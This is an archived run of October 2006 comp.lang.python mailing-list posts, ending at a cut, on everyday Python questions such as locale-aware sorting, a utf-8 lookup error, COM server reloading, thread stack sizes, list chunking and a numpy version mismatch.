2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 19 Oct 2006 03:28:16 -0700 Subject: Flexible Collating (feedback please) In-Reply-To: References: <35kZg.6681$fl.2685@dukeread08> Message-ID: <1161253696.778503.45960@k70g2000cwa.googlegroups.com> Ron Adam wrote: > locale.setlocale(locale.LC_ALL, '') # use current locale settings It's not current locale settings, it's user's locale settings. Application can actually use something else and you will overwrite that. You can also affect (unexpectedly to the application) time.strftime() and C extensions. So you should move this call into the _test() function and put explanation into the documentation that application should call locale.setlocale > self.numrex = re.compile(r'([\d\.]*|\D*)', re.LOCALE) [snip] > if NUMERICAL in self.flags: > slist = self.numrex.split(s) > for i, x in enumerate(slist): > try: > slist[i] = float(x) > except: > slist[i] = locale.strxfrm(x) I think you should call locale.atof instead of float, since you call re.compile with re.LOCALE. Everything else looks fine. The biggest missing piece is support for unicode strings. -- Leo. From rrr at ronadam.com Tue Oct 17 12:21:11 2006 From: rrr at ronadam.com (Ron Adam) Date: Tue, 17 Oct 2006 11:21:11 -0500 Subject: Alphabetical sorts In-Reply-To: References: <4aQYg.6347$fl.1193@dukeread08> Message-ID: Neil Cerutti wrote: > On 2006-10-17, Ron Adam wrote: >> Neil Cerutti wrote: >>> On 2006-10-16, Ron Adam wrote: >>>> I have several applications where I want to sort lists in >>>> alphabetical order. Most examples of sorting usually sort on >>>> the ord() order of the character set as an approximation. >>>> But that is not always what you want. >>> Check out strxfrm in the locale module. >> It looks to me this would be a good candidate for a >> configurable class. Something preferably in the string module >> where it could be found easier. >> >> Is there anyway to change the behavior of strxfrm or strcoll? >> For example have caps before lowercase, instead of after? > > You can probably get away with writing a strxfrm function that > spits out numbers that fit your definition of sorting. Since that function is 'C' coded in the builtin _locale, it can't be modified by python code. Looking around some more I found the documentation for the corresponding C functions and data structures. It looks like python may just wrap these. http://opengroup.org/onlinepubs/007908799/xbd/locale.html Here's one example of how to rewrite the Unicode collate in python. http://jtauber.com/blog/2006/01 I haven't tried changing it's behavior, but I did notice it treats words with hyphen in them differently than strxfrm. Here's one way to change caps order. a = ["Neil", "Cerutti", "neil", "cerutti"] locale.setlocale(locale.LC_ALL, '') tmp = [x.swapcase() for x in a] tmp.sort(key=locale.strxfrm) tmp = [x.swapcase() for x in tmp] print tmp ['Cerutti', 'cerutti', 'Neil', 'neil'] Cheers, Ron From BjornSteinarFjeldPettersen at gmail.com Mon Oct 30 02:47:41 2006 From: BjornSteinarFjeldPettersen at gmail.com (thebjorn) Date: 29 Oct 2006 23:47:41 -0800 Subject: Lookuperror : unknown encoding : utf-8 In-Reply-To: <1162193424.290540.102910@h48g2000cwc.googlegroups.com> References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com> Message-ID: <1162194460.969908.154340@h48g2000cwc.googlegroups.com> Sachin Punjabi wrote: > I wanted to read a file encoded in utf-8 and and using the following > syntax in my source which throws me an error specifying Lookuperror : > unknown encoding : utf-8. Also I am working on Python version 2.4.1. You shouldn't have to do anything to have the utf-8 encoding available. Check in your lib/encodings directory for a file name utf_8.py and the code in __init__.py in the same directory should take care of the mapping. This has been this way since at least Python 2.2 (which is the oldest version I have on this machine). If that doesn't give you a clue as to what is going on in your setup, try u'foo'.encode('utf-8') at the prompt and post the complete traceback. > import codecs > fileObj = codecs.open( "data.txt", "r", "utf-8" ) That should work fine, although I prefer to explicitly set the mode to "rb" (it will be set to binary mode behind your back regardless ;-) hth, -- bjorn From m.errami at gmail.com Wed Oct 18 22:01:23 2006 From: m.errami at gmail.com (m.errami at gmail.com) Date: 18 Oct 2006 19:01:23 -0700 Subject: Restart a Python COM Server In-Reply-To: <1161183002.883210.110930@m73g2000cwd.googlegroups.com> References: <1161137817.550348.157890@m73g2000cwd.googlegroups.com> <1161183002.883210.110930@m73g2000cwd.googlegroups.com> Message-ID: <1161223283.602594.41890@i3g2000cwc.googlegroups.com> Alright. I kind of get the idea. But how do I do that? Anyway, it is more for development reason than anything else. It's not that big of a deal. But still it would be nice to have a solution... Thanx again M.E. olsongt at verizon.net wrote: > m.errami at gmail.com wrote: > > Hello all. > > I am desperately in need for you help guys. Here is the story: > > 1- I have created a small simple COM serve with python (along the lines > > read in Win32 Programming with python). > > 2- If I start the server and call a function from VBE everything works > > fine > > 3- I then want to modify the function in the python COM server > > 4- I unregister the server and register it again hoping the changes > > will take effect > > 5- I make call to the function from VBE but the it seems that VBE > > doesn't reload/refresh the reference to the server. > > So I do I get VBE to point to the last version of the server? If I > > close VBE and reload it then it works. But I think there is probably a > > smarter way. Please, tell me there is! > > Few posts deal with the issue, but so far I couldn't find anything > > about it... > > > > Thanx all > > M.E > > I don't know how well this works for python-based COM components, but > the general fix is to setup a Component Services package. This creates > a proxy component which can be independently killed from the Component > Services management console. From bignose+hates-spam at benfinney.id.au Wed Oct 25 09:48:58 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Wed, 25 Oct 2006 23:48:58 +1000 Subject: dict problem References: <1161772147.307847.65630@h48g2000cwc.googlegroups.com> <87y7r4mwso.fsf@benfinney.id.au> <453F5401.3020607@helsinki.fi> Message-ID: <87pscgmrp1.fsf@benfinney.id.au> Alistair King writes: > Ben Finney wrote: > > Even better, work on a minimal program to do nothing but reproduce > > the unexpected behaviour. If you get to such a program and still > > don't understand, then post it here so others can run it > > themselves and explain. > ive checked the values and XDS is actually returning a string where i > want a float ie '123.45' not 123.45. Can you please post a small, complete program that shows the behaviour you want explained? You get this program by writing it -- either by cutting away irrelevant parts of the existing program, or (better) writing a new program from scratch that does nothing except demonstrate the behaviour. Note that in the process of getting such a program behaving this way, you may end up understanding the problem better. -- \ "Democracy is the art of running the circus from the monkey | `\ cage." -- Henry L. Mencken | _o__) | Ben Finney From jjl at pobox.com Tue Oct 10 13:21:40 2006 From: jjl at pobox.com (John J. Lee) Date: 10 Oct 2006 18:21:40 +0100 Subject: Names changed to protect the guilty References: <877izb1vwe.fsf@pobox.com> <877iz9jj95.fsf@pobox.com> Message-ID: jjl at pobox.com (John J. Lee) writes: [...] > Yes, that's true, I didn't really take in this particular example, > just the use of "is ". That's not the way it was used > in docutils, though (do I mean docutils?). No, I meant epydoc (I think...) John From ptmcg at austin.rr._bogus_.com Wed Oct 4 15:12:52 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Wed, 04 Oct 2006 19:12:52 GMT Subject: item access time: sets v. lists References: <4cSUg.7864$753.4683@trnddc05> <3zSUg.25440$DU3.23095@tornado.texas.rr.com> Message-ID: "Neil Cerutti" wrote in message news:slrnei8189.1hg.horpner at FIAD06.norwich.edu... > On 2006-10-04, Paul McGuire wrote: >> "Neil Cerutti" wrote in message >> news:slrnei7sc2.fs.horpner at FIAD06.norwich.edu... >> > > It seems to be timing "testing for membership", not "random > access". Random access is just seq[n]; at least, that's the > assumption I made. > > Perhaps I read the test description out of context and got > confused. > Oh, poor wording on my part, sorry. You got me wondering what seq[n] would give me in the case of a set: >>> z = set(range(100)) >>> z[30] Traceback (most recent call last): File "", line 1, in ? TypeError: unindexable object >>> It really doesn't make any sense since sets are unordered. So we couldn't compare lists and sets in this manner anyway. I *did* learn that dicts and sets use a hash table, not a tree, which also helps explain why the initial construction of the 10000-element set takes so much longer than just simple assembly of the range into a list. -- Paul From sjmachin at lexicon.net Tue Oct 31 18:11:53 2006 From: sjmachin at lexicon.net (John Machin) Date: 31 Oct 2006 15:11:53 -0800 Subject: report progress from C function References: Message-ID: <1162336313.895048.202440@k70g2000cwa.googlegroups.com> Michael S wrote: > Good day all. > > I rewrote part of my program in C, it's a usually a > long task. I wanted to be able to report the progress > back to my python program. In my module (in addition > to the function that performs the above-mentioned > task) there is a function that returns the variable, > indicating the progress. However I am not sure how to > call it. Once I call the C function that does the work > (it's a while loop that takes minutes sometimes) I > can't call that progress function. > Any ideas? > What do you expect your "python program" to be doing between calls to the get_progress function? Here's a sketch of one possible way of doing something useful: add the following 2 args to your C "does the work function": (1) Python function object to be called every n times around the while loop or every nth other event or every n milliseconds or whatever (2) n BTW, why did you rewrite in C rarher than using Pyrex? Cheers, John From bj_666 at gmx.net Mon Oct 16 05:00:55 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Mon, 16 Oct 2006 11:00:55 +0200 Subject: Where to find pydoc? References: Message-ID: In , Wijaya Edward wrote: > > I tried to call pydoc from my Linux box. > To my realization that it doesn't contain > pydoc. > > I thought this module should be a default module. Yes it is part of the standard library. What distribution are you using? Ciao, Marc 'BlackJack' Rintsch From andymac at bullseye.apana.org.au Tue Oct 24 05:29:24 2006 From: andymac at bullseye.apana.org.au (Andrew MacIntyre) Date: Tue, 24 Oct 2006 20:29:24 +1100 Subject: multythreading app memory consumption In-Reply-To: References: Message-ID: <453DDCF4.3030106@bullseye.andymac.org> Bryan Olson wrote: > In Python 2.5, each thread will be allocated > > thread.stack_size() > > bytes of stack address space. Note that address space is > not physical memory, nor even virtual memory. On modern > operating systems, the memory gets allocated as needed, > and 150 threads is not be a problem. Just a note that [thread|threading].stack_size() returns 0 to indicate the platform default, and that value will always be returned unless an explicit value has previously been set. The Posix thread platforms (those that support programmatic setting of this parameter) have the best support for sanity checking the requested size - the value gets checked when actually set, rather than when the thread creation is attempted. The platform default thread stack sizes I can recall are: Windows: 1MB (though this may be affected by linker options) Linux: 1MB or 8MB depending on threading library and/or distro FreeBSD: 64kB -- ------------------------------------------------------------------------- Andrew I MacIntyre "These thoughts are mine alone..." E-mail: andymac at bullseye.apana.org.au (pref) | Snail: PO Box 370 andymac at pcug.org.au (alt) | Belconnen ACT 2616 Web: http://www.andymac.org/ | Australia From wahab at chemie.uni-halle.de Wed Oct 4 17:43:39 2006 From: wahab at chemie.uni-halle.de (Mirco Wahab) Date: Wed, 04 Oct 2006 23:43:39 +0200 Subject: dictionary of list from a file In-Reply-To: References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com> Message-ID: Thus spoke Paul McGuire (on 2006-10-04 17:34): > wrote in message >> this is my first post. my "programming" background is perlish > I'll see your perlish line noise, and raise you this obfuscapython: :) > > data = """\ > 2 1 2 3 4 > 7 7 8 9 10 > 5 1 3 5 7 9 > 2 6 8 10""".split('\n') # similar to file.readlines(), but easier to paste > into news post > import operator, itertools > item = operator.itemgetter > b = dict( (k,sum(map(lambda g:g[1:],grps),[])) > for (k,grps) in itertools.groupby( sorted( > map(str.split,data) ), item(0) ) ) > for item in sorted(b.items()): > print "%s -> %s" % item > > prints: > 2 -> ['1', '2', '3', '4', '6', '8', '10'] > 5 -> ['1', '3', '5', '7', '9'] > 7 -> ['7', '8', '9', '10'] Hehe! not bad, lets do the reverse in Perl then too ;-) This should be *one line*, operating on a dictionary %h: s/(\d+)\s+(\d+.+)$/push @{$h{$1}},split' ',$2/eg for @data; (is at least as obfuscated as yours) - add another line for the output: print( "$_ => @{$h{$_}} \n") for sort keys %h; will print (as yours): 2 => 1 2 3 4 6 8 10 5 => 1 3 5 7 9 7 => 7 8 9 10 if your data: @data = split"\n", '2 1 2 3 4 7 7 8 9 10' 5 1 3 5 7 9 2 6 8 10'; ... is fed in. What does all this tell us? ==> Obfuscated Python is *much longer* than its Perl counterpart ;-) Regards Mirco PS.: I tried to pull the dict in Python out of a regex search too - but failed. I'll try tomorrow again ;-) From grflanagan at yahoo.co.uk Mon Oct 16 14:37:19 2006 From: grflanagan at yahoo.co.uk (Gerard Flanagan) Date: 16 Oct 2006 11:37:19 -0700 Subject: Need a strange sort method... In-Reply-To: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> Message-ID: <1161023839.841044.283730@e3g2000cwe.googlegroups.com> SpreadTooThin wrote: > I have a list and I need to do a custom sort on it... > > for example: > a = [1,2,3,4,5,6,7,8,9,10] #Although not necessarily in order > > def cmp(i,j): #to be defined in this thread. > > a.sort(cmp) > > print a > [1,4,7,10, 2,5,8, 3,6,9] > > So withouth making this into an IQ test. > Its more like > 1 4 7 10 > 2 5 8 > 3 6 9 > > Read that top to bottom from column 1 to column 4. > When you get to the bottom of a column move to the next column. > Get it? maybe the columnise function here would help: http://www.gflanagan.net/site/python/utils/sequtils/ from math import sqrt for i in range(2,12): seq = range(1,i) numcols = int(sqrt(len(seq))) print columnise(seq, numcols) [(1,)] [(1, 2)] [(1, 2, 3)] [(1, 3), (2, 4)] [(1, 3, 5), (2, 4, None)] [(1, 3, 5), (2, 4, 6)] [(1, 3, 5, 7), (2, 4, 6, None)] [(1, 3, 5, 7), (2, 4, 6, 8)] [(1, 4, 7), (2, 5, 8), (3, 6, 9)] [(1, 4, 7, 10), (2, 5, 8, None), (3, 6, 9, None)] -------------------------- def chunk( seq, size, pad=None ): ''' Slice a list into consecutive disjoint 'chunks' of length equal to size. The last chunk is padded if necessary. >>> list(chunk(range(1,10),3)) [[1, 2, 3], [4, 5, 6], [7, 8, 9]] >>> list(chunk(range(1,9),3)) [[1, 2, 3], [4, 5, 6], [7, 8, None]] >>> list(chunk(range(1,8),3)) [[1, 2, 3], [4, 5, 6], [7, None, None]] >>> list(chunk(range(1,10),1)) [[1], [2], [3], [4], [5], [6], [7], [8], [9]] >>> list(chunk(range(1,10),9)) [[1, 2, 3, 4, 5, 6, 7, 8, 9]] >>> for X in chunk([],3): print X >>> ''' n = len(seq) mod = n % size for i in xrange(0, n-mod, size): yield seq[i:i+size] if mod: padding = [pad] * (size-mod) yield seq[-mod:] + padding def columnise( seq, numcols, pad=None ): ''' >>> columnise(range(1,10),3) [(1, 4, 7), (2, 5, 8), (3, 6, 9)] >>> columnise(range(1,9),3) [(1, 4, 7), (2, 5, 8), (3, 6, None)] >>> columnise(range(1,8),3) [(1, 4, 7), (2, 5, None), (3, 6, None)] ''' return zip( *chunk(seq, numcols, pad) ) ------------------------------- Gerard From h.trammel at insightbb.com Thu Oct 19 21:46:19 2006 From: h.trammel at insightbb.com (Harold Trammel) Date: Thu, 19 Oct 2006 20:46:19 -0500 Subject: A suggestion/request for IDEs In-Reply-To: References: Message-ID: John Salerno wrote: > I apologize for the slightly off-topic nature, but I thought I'd just > throw this out there for anyone working on text editors or IDEs with > auto-completion. > > I think it should be a feature, when an item is selected for > auto-completion in a drop-down box, that pressing the spacebar (in > addition to tab or enter) will automatically finish the word and add a > space. This is how Microsoft's new IDEs for .NET work, and I found it > very helpful to be able to just press space as normal and keep typing. I > know it sounds minor, but I find it to be a time saver instead of having > to press tab or enter, and then also the spacebar. > > Thanks. I use Eclipse with PyDev and PyDev extensions. SlickEdit (awesome editor) has auto-completion as well. From codecraig at gmail.com Tue Oct 17 09:58:22 2006 From: codecraig at gmail.com (abcd) Date: 17 Oct 2006 06:58:22 -0700 Subject: Problem creating animated gif Message-ID: <1161093502.432509.38340@m7g2000cwm.googlegroups.com> I am using gifmaker.py from PIL v1.1.5 on python 2.4.1. CODE ---------------------------------------------------------------- import ImageGrab, gifmaker seq = [] while keepOnGoing: im = ImageGrab.grab() seq.append(im) fp = open("out.gif", "wb") gifmaker.makedelta(fp, seq) fp.close() --------------------------------------------------------------- however I am getting this error: Exception in thread Thread-3: Traceback (most recent call last): File "c:\Python24\lib\threading.py", line 442, in __bootstrap self.run() File "c:\foo.py", line 10, in run gifmaker.makedelta(fp, seq) File "c:\gifmaker.py", line 79, in makedelta for s in getheader(im) + getdata(im): File "c:\Python24\Lib\site-packages\PIL\GifImagePlugin.py", line 383, in getdata ImageFile._save(im, fp, [("gif", (0,0)+im.size, 0, RAWMODE[im.mode])]) KeyError: 'RGB' Any ideas? Basically I want to make an animated GIF out of a bunch of images taken using the ImageGrab module. From eurleif at ecritters.biz Wed Oct 4 11:00:28 2006 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Wed, 04 Oct 2006 11:00:28 -0400 Subject: A Universe Set In-Reply-To: References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com> Message-ID: <4523cc5f$0$25771$4d3efbfe@news.sover.net> Jorgen Grahn wrote: > - infinite xrange()s itertools.count()? From bignose+hates-spam at benfinney.id.au Wed Oct 11 01:31:56 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Wed, 11 Oct 2006 15:31:56 +1000 Subject: OT: Sarcasm and irony References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> <3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com> <12iosfh75stcf0e@corp.supernews.com> Message-ID: <874pub8lkj.fsf@benfinney.id.au> Grant Edwards writes: > Sarcasm is a form of irony. Irony is when what is meant is > different from the obvious literal meaning of the statement. Irony need not have anything to do with the meaning and intent of the speaker. Indeed, irony can occur when there is no communication at all; an ironic outcome does not require anyone to have said or communicated anything. > Like Alanis Morisette said about the song "Isn't it Ironic": What's > ironic about the song is that it doesn't actually contain any irony. What source do you have for Morissette saying that? I've seen many people saying it *about* her song, but nothing from her that isn't just repeating what others have said. -- \ "I was arrested today for scalping low numbers at the deli. | `\ Sold a number 3 for 28 bucks." -- Steven Wright | _o__) | Ben Finney From timr at probo.com Sat Oct 21 21:55:53 2006 From: timr at probo.com (Tim Roberts) Date: Sun, 22 Oct 2006 01:55:53 GMT Subject: How to upgrade python from 2.4.3 to 2.4.4 ? References: <45386ba2$0$1206$9b622d9e@news.freenet.de> Message-ID: "Martin v. L?wis" wrote: >fdu.xiaojf at gmail.com schrieb: >> I just want to upgrade my python version from 2.4.3 to 2.4.4,do I need >> to uninstall python 2.4.3 first ? >> >> I'd rather not to do so, because I have installed some other python >> packages for python2.4.3. > >You don't have to uninstall. Installing "on top" will work just fine; >both on Windows and Unix (not sure about Mac). However, the original poster should note that this will NOT work when going from 2.4.x to 2.5.x. Versions where the second digit differs will get installed into a different directory, so you must re-install all of your add-in packages. Having learned that lesson the hard way, I now keep a directory with zips and tarballs for all of the add-ins I have installed, and I maintain a single batch file that will install all of them. This also makes it trivially easy to install my environment on a different computer. -- Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From vasudevram at gmail.com Sun Oct 15 12:32:18 2006 From: vasudevram at gmail.com (vasudevram) Date: 15 Oct 2006 09:32:18 -0700 Subject: Where can I find good python code? References: Message-ID: <1160929938.226103.117100@h48g2000cwc.googlegroups.com> Chris Lambacher wrote: > On Sat, Oct 14, 2006 at 01:08:37AM +0900, js wrote: > > Hi, > > > > I've learned basics of Python and want to go to the next step. > > So I'm looking for good python examples > > I steal good techniques from. > > > > I found Python distribution itself contains some examples in Demo directory. > > I spent some time to read them and > > I think they're good but seemed not so practical to me. > > > > Any recommendations? > A large portion of the standard library is pure python and of high > quality(thats how it made it there in the first place). The newer a module is > to the library, the better it will conform to current best practices. > > On Unix environments you can find the standard library in > $PREFIX/lib/python$VERSION/ where $PREFIX is often /usr but sometimes > /usr/local and version is the version you have installed (maybe 2.4 or 2.5?) > > On Windows you can find the standard library in c:\Python%VERSION%\Lib where > %VERSION% is the version you installed (maybe 24 or 25?) > > -Chris Try reading the code in this package: http://sourceforge.net/projects/xtopdf Not very idiomatic or Pythonic code (done when I was still fairly new to Python), but clear, well-commented - IMO, of course. Also it is a real-world, though small, app, with both end-user tools and a developer API. So you can play around with using and extending it, etc. - and its easy to understand too. Might help motivate the learning if you try to build something useful with it :-) HTH Vasudev Ram ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Software training and consulting Dancing Bison Enterprises http://www.dancingbison.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From robert.kern at gmail.com Mon Oct 16 18:30:24 2006 From: robert.kern at gmail.com (Robert Kern) Date: Mon, 16 Oct 2006 17:30:24 -0500 Subject: Max-plus library In-Reply-To: References: Message-ID: Martin Manns wrote: > Hello, > > Is there any library that allows employing max-plus dioids in > python (e.g. based on numpy/scipy)? Google says "no" and I haven't heard of any, so I imagine that there aren't. There might be something buried in some of the control theory packages, but as I neither know what max-plus dioids are, nor have I any current interest in them, I can't give you any better pointers. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From fredrik at pythonware.com Mon Oct 30 10:30:37 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 30 Oct 2006 16:30:37 +0100 Subject: How can I import a script with an arbitrary name ? In-Reply-To: <1162217006.567079.315440@i42g2000cwa.googlegroups.com> References: <1162217006.567079.315440@i42g2000cwa.googlegroups.com> Message-ID: leonel.gayard at gmail.com wrote: > I have a script responsible for loading and executing scripts on a > daily basis. Something like this: > > import time > t = time.gmtime() > filename = t[0] + '-' + t[1] + '-' + t[2] + '.py' > import filename > > So, I have a module with an arbitrary file name and I want to load it, > and later access its function definitions. execfile() is probably your best bet: namespace = {} execfile(filename, namespace) namespace["function"](argument) also see: http://effbot.org/zone/import-string.htm#importing-by-filename From horpner at yahoo.com Fri Oct 13 08:40:22 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 13 Oct 2006 14:40:22 +0200 Subject: Appropriate way to quit Tkinter References: <1160675883.753402.70430@i3g2000cwc.googlegroups.com> <1160700517.014505.304880@b28g2000cwb.googlegroups.com> Message-ID: On 2006-10-13, mzdude wrote: > > Fredrik Lundh wrote: > [snip] >> works for me. are you perhaps running this under some kind of >> IDE that keeps the process running even after the program has >> terminated? > > It works the same way if I run from IDLE or from the DOS > command prompt. I had some fun trying to run Tkinter from from the Python embedded in Vim. My advice: Do not do that. -- Neil Cerutti The majority of time, it seems to be one thing or the other. --Ron Mercer From steve at REMOVEME.cybersource.com.au Mon Oct 23 21:14:29 2006 From: steve at REMOVEME.cybersource.com.au (Steven D'Aprano) Date: Tue, 24 Oct 2006 11:14:29 +1000 Subject: pretty basic instantiation question References: <1161650174.804226.37720@m73g2000cwd.googlegroups.com> Message-ID: On Mon, 23 Oct 2006 17:36:14 -0700, meithamj wrote: [fixing top-posting] > sittner at lkb.ens.fr wrote: >> i'm very new to python, but i have a pretty basic question: >> let's say i have a class, and i need to create a different number of >> instances (changes every time - and i can't know the number in advance) in >> a loop. As others have pointed out, the answer is "don't do that, use a list of instances instead". > Why do you need to know the number of instances. I know that Python > does not support Class Variable, but you can always create a global > variable and increase it whenever you add a new instance. this will > keep a record for you of how many instances you have. That's not what the Original Poster asked for, but there is a better way than keeping a global variable. Make the counter a class attribute. That way you don't have to increment the global, the class does its own counting. class CountedClass: count = 0 def __init__(self, arg): self.__class__.count += 1 self.arg = arg def __del__(self): self.__class__.count -= 1 Example: >>> a = CountedClass(4) >>> b = CountedClass(4) >>> c = CountedClass(4) >>> CountedClass.count 3 >>> a = 1 >>> CountedClass.count 2 >>> del b >>> CountedClass.count 1 >>> L = [CountedClass(None) for i in range(1000)] >>> CountedClass.count 1001 -- Steven From peter.maas at somewhere.com Wed Oct 11 17:02:03 2006 From: peter.maas at somewhere.com (Peter Maas) Date: Wed, 11 Oct 2006 23:02:03 +0200 Subject: Python component model In-Reply-To: <1160562945.079609.98640@m7g2000cwm.googlegroups.com> References: <452b7aae$0$306$426a74cc@news.free.fr> <1160562945.079609.98640@m7g2000cwm.googlegroups.com> Message-ID: Paul Boddie wrote: > People who bring up stuff about self and indentation are just showing > their ignorance, in my opinion, since Python isn't the first language > to use self in such a way, and many C++ and Java programs use this > pervasively in order to make attribute scope explicit, whereas the > indentation matter is only troublesome with bad editing practices. I > don't think the community should spend any more time on these > criticisms. How many programmers don't use Python because of the self issue? I'm not for changing the semantics here but when I wrote a method with lots of selfs recently I tried how it would look like if it would be allowed not to write down 'self', i.e. from def deposit(self, amount): self.balance = self.balance + amount to def deposit( , amount): .balance = .balance + amount I see an advantage in not mentioning 'self': using shorter alternatives like 'my' is possible but considered bad style. I find it unsatisfactory to provide a degree of freedom and not wanting it to be used. Leaving out 'self' is like leaving out block markers. You leave out something that's a matter of taste (self, me, my, block marker positions) and bring the code in minimal form. Explicit use of self could of course still be allowed. And a favorite argument against Python would become pointless. > However, the GIL and issues of tools and IDEs should be considered in a > more sophisticated way. If I wouldn't read discussions about it I wouldn't probably know that it exists. But as far as I have understood removing the GIL means a lot of work and breaking existing code. Perhaps the GIL will die naturally with the advent of a production ready PyPy. And the Twisted people keep telling "Repeat with me: there are no threads" :) > Meanwhile, whilst not an IDE advocate myself, there really does need to > be further improvements in the analysis of Python source code so that > people can build improved tools to check Python programs for obvious > "compile-time" errors and to inspect the behaviour of large amounts of > code. I agree. One reads occasionally on the python-dev or python-3000 mailing > lists that some proposed change or other may or may not have an impact > on "real world" systems such as the standard library, but that no-one > can really say: we need to move beyond the "Python is just so dynamic" > meme and develop tools like PyLint and PyChecker much further. I find it important that Python allows dynamic coding but I agree that it should allow more compile time checks which would probably also help to produce faster code. > This kind of stuff can be tackled by providing better introductory, > educational or promotional material, with the latter especially > important to stop the uninformed "rubbishing" that advocates of certain > other languages seem particularly inclined to indulge in. I don't think so because advocates tend to use arguments just because they are handy, not because they don't know better. -- Regards/Gruesse, Peter Maas, Aachen E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64') From ldo at geek-central.gen.new_zealand Sat Oct 7 18:01:42 2006 From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro) Date: Sun, 08 Oct 2006 11:01:42 +1300 Subject: Making sure script only runs once instance at a time. References: <451D25A3.7010803@googlemail.com> Message-ID: In message , Tim Williams wrote: > On 29/09/06, Matthew Warren wrote: >> I have found that in real usage of other programs within the company that >> use lockfiles, it sometimes causes a bit of troubleshooting time when it >> stops working due to a stale lockfile.. This especially happens when the >> program is killed, the lockfile remains and causes minor annoyance (to >> somebody who knows that is, more annoyance to somebody who doesn't). > > Then they were checking for the wrong thing :) Chcking for a lock > file's existance is prone to the above problem. My script deals with this . From gh at gregor-horvath.com Sat Oct 21 04:36:00 2006 From: gh at gregor-horvath.com (Gregor Horvath) Date: Sat, 21 Oct 2006 10:36:00 +0200 Subject: Good Form In-Reply-To: <1161418652.105713.41150@m7g2000cwm.googlegroups.com> References: <1161418652.105713.41150@m7g2000cwm.googlegroups.com> Message-ID: phez.asap at gmail.com schrieb: > Would you normally write methods to retrive and set your class > variables or just refrence them directly? > you start by referencing them directly and ONLY if you need you can add getters and setters later on without breaking any client code. see the property function. An explanation for the motivation behind this and python's thinking can be found here: http://tinyurl.com/wfgyw -- Servus, Gregor From kay.schluehr at gmx.net Sat Oct 14 02:42:04 2006 From: kay.schluehr at gmx.net (Kay Schluehr) Date: 13 Oct 2006 23:42:04 -0700 Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> <1160802056.744732.323540@e3g2000cwe.googlegroups.com> Message-ID: <1160808124.455062.319660@m7g2000cwm.googlegroups.com> brenocon at gmail.com wrote: > But [embedding a definition, ks] is awkward since the lambda is constrained to be one > line; you > can't come back later and add much to the callback's code. > Furthermore, this example isn't even legal, because 'print' isn't a > function, but a statement -- lambda is further constrained to only > contain an expression. > > Many have complained about this crippled-ness of lambda, but it > actually makes some sense. Since Python uses colons and indentation to > define blocks of code, it would be awkward to close a multiline lambda. > The best I could think of would look like > > deferred.addCallback(lambda r: > print("fancy formatting %s" % r.text) > ) > > ^ > | > > That trailing paranthesis is WAY un-Pythonic. Maybe it is not common place because some users are underinformed and hypnotized by whitespace semantics but you can add a trailing backslash to achieve line coninuation within a single expression: >>> deferred.addCallback(lambda r: puts("fancy formatting %s" \ ... )) This works syntactically. [...] > There might be some sort of overlap with PEP 343 and the 'with' > statement, but I'm not sure exactly. Sorry I'm late to the game and > commenting on last year's PEP's, but I've only started reading them. > Note that PEP's 343 and 340 are very focused on resource management -- > but I think that letting one define code blocks as closures could make > resource handling routines be easily written in Python. The with statement is already implemented in Python 2.5. http://docs.python.org/whatsnew/pep-343.html The main difference between the with statement and Ruby blocks is that the with-statement does not support loops. Yielding a value of a function decorated with a contextmanager and passing it to the BLOCK of the with statement is essentially a one-shot. Therefore you can't use the with statement to define iterators. It is not a lightweight visitor pattern replacement as it is in Ruby. Hence the with- and the for-statement are orthogonal to each other in Python. From kareta at web.de Mon Oct 23 14:01:33 2006 From: kareta at web.de (Juergen Kareta) Date: Mon, 23 Oct 2006 20:01:33 +0200 Subject: numpy error Message-ID: <4q4eggFl1prqU1@individual.net> Hello, this is my first try to get wxmpl-1.2.8 running. Therefor I installed: python 2.5 matplotlib-0.87.6.win32-py2.5.exe numpy-1.0rc3.win32-py2.5.exe on WinXP SP2 The result is a version mismatch (see below). Numpy version 1000002 seems to be numpy-1.0b5 which is not downloadable anymore. Any hints ? Thanks in advance. J?rgen traceback: from pylab import * RuntimeError: module compiled against version 1000002 of C-API but this version of numpy is 1000009 The import of the numpy version of the nxutils module, _nsnxutils, failed. This is is either because numpy was unavailable when matplotlib was compiled, because a dependency of _nsnxutils could not be satisfied, or because the build flag for this module was turned off in setup.py. If it appears that _nsnxutils was not built, make sure you have a working copy of numpy and then re-install matplotlib. Otherwise, the following traceback gives more details: Traceback (most recent call last): File "", line 1, in File "C:\Python25\Lib\site-packages\pylab.py", line 1, in from matplotlib.pylab import * File "C:\Python25\Lib\site-packages\matplotlib\pylab.py", line 199, in import mlab #so I can override hist, psd, etc... File "C:\Python25\Lib\site-packages\matplotlib\mlab.py", line 64, in import nxutils File "C:\Python25\Lib\site-packages\matplotlib\nxutils.py", line 17, in from matplotlib._ns_nxutils import * ImportError: numpy.core.multiarray failed to import From nick at craig-wood.com Fri Oct 13 04:30:10 2006 From: nick at craig-wood.com (Nick 